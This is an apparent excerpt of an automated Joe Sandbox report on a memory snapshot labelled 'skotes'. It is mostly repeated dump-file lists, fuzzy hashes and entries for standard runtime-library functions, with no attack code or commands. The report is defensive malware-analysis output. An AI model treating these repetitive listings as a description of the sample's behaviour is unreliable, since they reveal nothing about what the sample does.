Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 7c4db6f2038749915749e8fbd9810b063a2d67df41753363349f664a62801d69
Instruction ID: e805c7c9e8586fe341bd65ad781df327099243354231bae9802c62ebe299df40
Opcode Fuzzy Hash: 7c4db6f2038749915749e8fbd9810b063a2d67df41753363349f664a62801d69
Instruction Fuzzy Hash: 74F0BB7590020CA7C724FA55D892C6EB7F89E51714B2181A9E70977181DB709B09C691

Function 00C0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C0CC66

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 498cdc525dfdfb83c2c889e327597b750da7a13a5514c4ff37e8d4622be60cdf
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 3AB136329046559FEB15CF28C8C17EEBBE5EF55340F24426AE865EB2C2D6348E42CB60

Function 00C167A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C16902
__alloca_probe_16.LIBCMT ref: 00C16998
__freea.LIBCMT ref: 00C16A03
__freea.LIBCMT ref: 00C16A0F

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 288f24af27634b03992b58851ef01343154069f21bbfcaa0cff479f2704173c7
Instruction ID: 36a19794b7c7d71300eacabdb336e716ce7d18c03364436f8ab7500cb8ee7257
Opcode Fuzzy Hash: 288f24af27634b03992b58851ef01343154069f21bbfcaa0cff479f2704173c7
Instruction Fuzzy Hash: 2E81C272D002499BEF209F658881EEF7BB99F0B314F194159E860B7281D735CE81FBA0

Function 00C0504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00C05115
___AdjustPointer.LIBCMT ref: 00C05138
___AdjustPointer.LIBCMT ref: 00C051D4

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b95841660aa49b114168b222fe6e3ec833048326edbfc706df9efbc93981e874
Instruction ID: 14e9efced672637d69f80a36ac8d5944efc5357d1f6bf7845f608585e9dd8a11
Opcode Fuzzy Hash: b95841660aa49b114168b222fe6e3ec833048326edbfc706df9efbc93981e874
Instruction Fuzzy Hash: 8051DF72A01A06AFEB298F55D885BBF77B9EF14300F144529E811876D1E731EE40DF90

Function 00C04C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00C04C66
TypeidsEqual.LIBVCRUNTIME ref: 00C04C8B
PMDtoOffset.LIBCMT ref: 00C04CA1
PMDtoOffset.LIBCMT ref: 00C04D22

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: b12d29b0b91a2693815b91e81f5ea34293d712c60187d7dd2896872263ddf3ce
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 205189B5A043099FDF19CF69C4806AFBBF5EF15354F14449AEA60A7391D332AA05CB50

Function 00BFDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BFDB64

Part of subcall function 00BF8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BF8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00BFDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00BFDBE9
Concurrency::location::_Assign.LIBCMT ref: 00BFDC56

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
